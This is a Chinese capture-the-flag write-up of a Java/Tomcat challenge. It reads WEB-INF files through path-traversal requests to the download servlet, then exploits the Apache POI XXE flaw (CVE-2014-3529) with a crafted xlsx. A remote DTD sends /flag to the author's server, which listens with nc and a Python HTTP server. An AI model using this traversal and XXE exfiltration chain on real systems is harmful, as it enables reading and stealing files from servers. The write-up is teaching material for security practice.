哎,太菜了,继续更新吧
先说一下,kali尽量不要更新到python 3.10,否则好多工具都不能用了。尤其很多默认模块在3.10里面都进行了重写。。。。。。。
这题提示是java题目,上来先是一个上传窗口,尝试文件上传直接写马,发现不行。那就继续看,发现下载逻辑,尝试目录穿越。
由于扫出来是tomcat,做过java web业务的都知道最重要的一个配置文件是WEB-INF里面的web.xml文件,说他是万物之祖也不为过。尝试读取一下:
/DownloadServlet?filename=../../../../WEB-INF/web.xml
得到结果:
DownloadServlet
cn.abc.servlet.DownloadServlet
DownloadServlet
/DownloadServlet
ListFileServlet
cn.abc.servlet.ListFileServlet
ListFileServlet
/ListFileServlet
UploadServlet
cn.abc.servlet.UploadServlet
UploadServlet
/UploadServlet
得到了项目结构的一些信息,继续去读源码
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
下载好的class文件需要反编译,反编译之后发现是基于HttpServlet的文件上传系统,其他代码感觉没啥好说的,唯一值得注意的是UploadServlet里面的这个东西:
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
直接出问题的是这一句:Workbook wb1 = WorkbookFactory.create(in);
之前也遇到过这个漏洞,由于解析xlsx就想到了CVE-2014-3529,它通过构造恶意的xlsx当上述代码解析xlsx时会执行它里面的恶意代码
利用方式网上很多,简单阐述
通过[Content_Types].xml里面指定恶意dtd文件的位置,
%remote;%int;%send;
]>
然后再file.dtd里面写上xxe恶意代码
">
当然需要nc -lvvp 7777
同样需要起一个web应用,将file.dtd写进去
python3 -m http.server 81
简单总结一下,上传的xlsx文件在解析时会调动到[Content_Types].xml的恶意代码,从而去vps上执行含有恶意xxe的file.dtd文件,而这个文件的执行结果就是把受害机
里面的/flag文件通过http协议外带到vps上的7777端口,就此over!